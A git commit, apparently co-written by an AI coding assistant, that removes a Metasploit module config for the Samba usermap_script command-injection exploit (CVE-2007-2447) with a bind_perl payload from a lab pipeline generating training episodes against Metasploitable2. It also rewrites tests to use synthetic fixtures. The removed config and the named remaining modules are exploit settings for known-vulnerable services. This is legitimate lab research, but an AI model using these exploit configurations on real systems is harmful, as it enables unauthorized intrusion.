catalog: remove samba_usermap_script — never landed sessions in prod
PIPELINE.md §1 (default-to-removal), §4.3 (catalog admission), §10 (every dishonest label is a poisoned training example). Empirical evidence on commits4ab5477→c41763b: samba_usermap_script fired its bind_perl payload but the framework's bind handler never managed to connect to the guest's listening port within session_open_timeout_s=30 (or even with WfsDelay=30 bumped on the framework side). All 67 attempts in the §3 probe ended in session_open_timeout. Yet the schedule clock was still writing `infected_running` labels for the failed exploit — exactly the §10 poisoned-example pattern. Until §5 step 3 builds an in-house target VM and step 4 re-admits modules with `verified_against` recorded (§4.3), the production catalog should consist of zero verified Tier-3 modules. That's the state after this removal: the four remaining modules (vsftpd_234_backdoor, distccd_command_exec, php_cgi_arg_injection, unreal_ircd_3281_backdoor) are all `requires_bridge=true`, which the fleet picker filters out unconditionally (the post-revert behavior from commit0390eb2). Net effect: production runs Tier-2 only, producing honest Tier-2 episodes and zero dishonest Tier-3 infected_running labels. Test fixture updated to inject synthetic in-memory ModuleConfigs instead of loading from disk, so Tier-3 dispatch logic stays tested even though no production module qualifies. test_exploits asserts the new "every shipped module is requires_bridge until §4.3 admits something verified" invariant — flips into a tripwire if anyone reintroduces an unverified non-bridge module. 229 passed. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
parent
c41763bd28
commit
dca6144a4a
3 changed files with 60 additions and 67 deletions
|
|
@ -1,47 +0,0 @@
|
||||||
description = """
|
|
||||||
Samba 3.0.20 username-map command injection (CVE-2007-2447). Trigger
|
|
||||||
is a crafted username at SMB authentication; the Samba daemon shells
|
|
||||||
out via the username_map_script and runs whatever the attacker put in
|
|
||||||
the username. Standard Metasploitable2 vector. Uses a bind-perl
|
|
||||||
payload so msfrpcd can connect to the resulting shell via SLIRP
|
|
||||||
hostfwd; LPORT is fleet-assigned per slot (base 4444, +1000/slot)
|
|
||||||
to avoid collisions across concurrent episodes.
|
|
||||||
"""
|
|
||||||
|
|
||||||
[module]
|
|
||||||
type = "exploit"
|
|
||||||
path = "multi/samba/usermap_script"
|
|
||||||
|
|
||||||
[module.options]
|
|
||||||
RHOSTS = "{{ target_ip }}"
|
|
||||||
RPORT = 139
|
|
||||||
# WfsDelay = wait-for-session, the budget Metasploit's payload handler
|
|
||||||
# has to (a) verify the bind shell on the guest is up and (b) connect
|
|
||||||
# to it. Default is ~5s. On Metasploitable2 the perl bind payload
|
|
||||||
# takes longer than that to fork+bind under SLIRP+hostfwd, so the
|
|
||||||
# handler gives up before the listener is ready and no session lands.
|
|
||||||
# 30s gives bind_perl + the SLIRP forward time to settle. Matches
|
|
||||||
# session_open_timeout_s in exploits/driver.py so the driver and the
|
|
||||||
# framework agree on the wait budget. Refs PIPELINE.md §3 (0/67
|
|
||||||
# session_open finding).
|
|
||||||
WfsDelay = 30
|
|
||||||
|
|
||||||
[payload]
|
|
||||||
path = "cmd/unix/bind_perl"
|
|
||||||
|
|
||||||
[payload.options]
|
|
||||||
LPORT = 4444
|
|
||||||
# Give the handler retry budget when connecting to the bind port.
|
|
||||||
# msfrpcd's BindTcp handler retries every second up to ConnectTimeout
|
|
||||||
# until the perl listener accepts. Without this, a single failed
|
|
||||||
# connect aborts the session.
|
|
||||||
ConnectTimeout = 15
|
|
||||||
|
|
||||||
[session]
|
|
||||||
type = "shell"
|
|
||||||
|
|
||||||
[runtime]
|
|
||||||
# bind_perl opens a new guest port; fleet hostfwds it via SLIRP.
|
|
||||||
# No bridge egress needed — host connects in, not guest out.
|
|
||||||
requires_bridge = false
|
|
||||||
extra_target_ports = [4444]
|
|
||||||
|
|
@ -26,25 +26,29 @@ MODULES_DIR = REPO_ROOT / "exploits" / "modules"
|
||||||
# Module config loader
|
# Module config loader
|
||||||
# -----------------------------------------------------------------------
|
# -----------------------------------------------------------------------
|
||||||
|
|
||||||
def test_module_catalog_has_at_least_five_metasploitable2_vectors() -> None:
|
def test_module_catalog_only_contains_unverified_modules() -> None:
|
||||||
"""The fleet's entry-vector variety depends on the module catalog
|
"""All currently-shipped Metasploitable2 modules are bridge-only and
|
||||||
being populated. Five Metasploitable2 vectors is the minimum
|
none has been re-verified end-to-end since the §3 probe surfaced
|
||||||
that gives the trainer a non-trivial diversity of armed →
|
that no Tier-3 module reliably lands sessions against the
|
||||||
infecting transition shapes."""
|
SourceForge Metasploitable2 image. Per PIPELINE.md §4.3 admission
|
||||||
|
criteria, the catalog should consist only of verified modules; the
|
||||||
|
interim correct state is "every shipped module is requires_bridge,
|
||||||
|
so the picker filters them all out and Tier-3 doesn't run." This
|
||||||
|
keeps the dataset honest until §5 step 3 builds a target VM and
|
||||||
|
step 4 re-admits modules with `verified_against` recorded.
|
||||||
|
|
||||||
|
Updated 2026-05-04 after removing samba_usermap_script (commit
|
||||||
|
c41763b empirical evidence: bind_perl handler couldn't connect
|
||||||
|
after exploit_fire even with WfsDelay=30, producing dishonest
|
||||||
|
infected_running labels per §10)."""
|
||||||
from exploits.modules import load_module_configs
|
from exploits.modules import load_module_configs
|
||||||
catalog = load_module_configs(MODULES_DIR)
|
catalog = load_module_configs(MODULES_DIR)
|
||||||
assert len(catalog) >= 5, \
|
assert all(m.requires_bridge for m in catalog.values()), (
|
||||||
f"only {len(catalog)} modules; need at least 5 for fleet variety"
|
"every currently-shipped module must be requires_bridge=true so "
|
||||||
names = set(catalog.keys())
|
"the production picker drops all of them — keeps Tier-3 honest "
|
||||||
expected = {
|
"until a verified module is admitted (§4.3). Modules in catalog: "
|
||||||
"vsftpd_234_backdoor",
|
f"{[(n, m.requires_bridge) for n, m in catalog.items()]}"
|
||||||
"samba_usermap_script",
|
)
|
||||||
"distccd_command_exec",
|
|
||||||
"php_cgi_arg_injection",
|
|
||||||
"unreal_ircd_3281_backdoor",
|
|
||||||
}
|
|
||||||
missing = expected - names
|
|
||||||
assert not missing, f"missing canonical modules: {missing}"
|
|
||||||
|
|
||||||
|
|
||||||
def test_load_vsftpd_module_config_round_trip() -> None:
|
def test_load_vsftpd_module_config_round_trip() -> None:
|
||||||
|
|
@ -99,7 +103,6 @@ def test_module_target_port_pulls_rport() -> None:
|
||||||
from exploits.modules import load_module_configs, module_target_port
|
from exploits.modules import load_module_configs, module_target_port
|
||||||
catalog = load_module_configs(MODULES_DIR)
|
catalog = load_module_configs(MODULES_DIR)
|
||||||
assert module_target_port(catalog["vsftpd_234_backdoor"]) == 21
|
assert module_target_port(catalog["vsftpd_234_backdoor"]) == 21
|
||||||
assert module_target_port(catalog["samba_usermap_script"]) == 139
|
|
||||||
assert module_target_port(catalog["distccd_command_exec"]) == 3632
|
assert module_target_port(catalog["distccd_command_exec"]) == 3632
|
||||||
assert module_target_port(catalog["php_cgi_arg_injection"]) == 80
|
assert module_target_port(catalog["php_cgi_arg_injection"]) == 80
|
||||||
assert module_target_port(catalog["unreal_ircd_3281_backdoor"]) == 6667
|
assert module_target_port(catalog["unreal_ircd_3281_backdoor"]) == 6667
|
||||||
|
|
|
||||||
|
|
@ -207,8 +207,45 @@ class _RecordingPopen:
|
||||||
self.stderr = b""
|
self.stderr = b""
|
||||||
|
|
||||||
|
|
||||||
|
def _fixture_modules() -> dict:
|
||||||
|
"""Synthetic in-memory module catalog for test fixtures.
|
||||||
|
|
||||||
|
Production no longer ships any verified Tier-3 modules — the
|
||||||
|
samba_usermap_script entry was removed because it never landed a
|
||||||
|
session against the configured Metasploitable2 target (PIPELINE.md
|
||||||
|
§4.3 admission criteria, default-to-removal). Until §5 step 3
|
||||||
|
builds a target VM and step 4 re-admits modules with a recorded
|
||||||
|
`verified_against`, the production catalog is empty by design.
|
||||||
|
|
||||||
|
Tests still need to exercise Tier-3 dispatch logic, so this
|
||||||
|
fixture provides a SLIRP-friendly module + a bridge-required
|
||||||
|
module hand-built in-memory. Keeping the fixture decoupled from
|
||||||
|
`exploits/modules/*.toml` means production catalog state can
|
||||||
|
change freely without breaking these tests."""
|
||||||
|
from exploits.modules import ModuleConfig
|
||||||
|
return {
|
||||||
|
"fixture_slirp": ModuleConfig(
|
||||||
|
name="fixture_slirp",
|
||||||
|
module_type="exploit",
|
||||||
|
module_path="multi/test/slirp_friendly_fixture",
|
||||||
|
options={"RHOSTS": "{{ target_ip }}", "RPORT": 139},
|
||||||
|
payload_path="cmd/unix/bind_perl",
|
||||||
|
payload_options={"LPORT": 4444},
|
||||||
|
requires_bridge=False,
|
||||||
|
extra_target_ports=(4444,),
|
||||||
|
),
|
||||||
|
"fixture_bridge": ModuleConfig(
|
||||||
|
name="fixture_bridge",
|
||||||
|
module_type="exploit",
|
||||||
|
module_path="multi/test/bridge_required_fixture",
|
||||||
|
options={"RHOSTS": "{{ target_ip }}", "RPORT": 21},
|
||||||
|
payload_path="cmd/unix/interact",
|
||||||
|
requires_bridge=True,
|
||||||
|
),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
def _fleet_cfg_with_modules(tmp_path: Path, *, force_tier2: bool = False):
|
def _fleet_cfg_with_modules(tmp_path: Path, *, force_tier2: bool = False):
|
||||||
from exploits.modules import load_module_configs
|
|
||||||
from orchestrator import fleet
|
from orchestrator import fleet
|
||||||
from samples.manifest import SampleManifest
|
from samples.manifest import SampleManifest
|
||||||
|
|
||||||
|
|
@ -218,7 +255,7 @@ def _fleet_cfg_with_modules(tmp_path: Path, *, force_tier2: bool = False):
|
||||||
repo_root=repo_root,
|
repo_root=repo_root,
|
||||||
data_root=tmp_path,
|
data_root=tmp_path,
|
||||||
manifest=SampleManifest.load(repo_root / "samples" / "manifest.toml"),
|
manifest=SampleManifest.load(repo_root / "samples" / "manifest.toml"),
|
||||||
modules=load_module_configs(repo_root / "exploits" / "modules"),
|
modules=_fixture_modules(),
|
||||||
force_tier2=force_tier2,
|
force_tier2=force_tier2,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
|
||||||
Loading…
Add table
Reference in a new issue